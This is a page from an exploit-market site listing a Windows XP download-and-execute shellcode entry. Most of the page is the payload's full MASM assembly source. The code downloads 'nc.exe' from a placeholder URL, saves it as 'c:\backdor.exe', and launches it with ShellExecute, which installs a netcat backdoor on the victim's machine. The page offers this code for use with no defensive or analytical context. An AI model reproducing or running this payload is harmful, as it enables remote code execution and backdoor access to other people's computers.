[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

win32/xp sp2 Fr Download and Exec Shellcode

Author
n/a
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-12253
Category
shellcode
Date add
15-05-2010
Platform
win32
===========================================
win32/xp sp2 Fr Download and Exec Shellcode
===========================================

Exploit Title  winxp sp2 fr  download & exec 

code:
 
 
 
;-------------------------------------------
 
.586
.model flat,stdcall
option casemap:none
 
   include windows.inc
   include user32.inc
   include kernel32.inc
   include shell32.inc
   include urlmon.inc
    
   includelib user32.lib
   includelib kernel32.lib
   includelib shell32.lib
   includelib urlmon.lib
 
.data
URL db "http://www.site.com/nc.exe",0
PATH db "c:\backdor.exe",0
 
.data?
hResult dd ?
 
.code
 
 
; ---------------------------------------------------------------------------
 
 
start:
 
   invoke URLDownloadToFile,0,addr URL,addr PATH,0,0
    mov hResult,eax
    .if eax!=1
        invoke ShellExecute,0,0,addr PATH,0,0,SW_SHOW
         .endif
 
end start



#  0day.today [2024-10-05]  #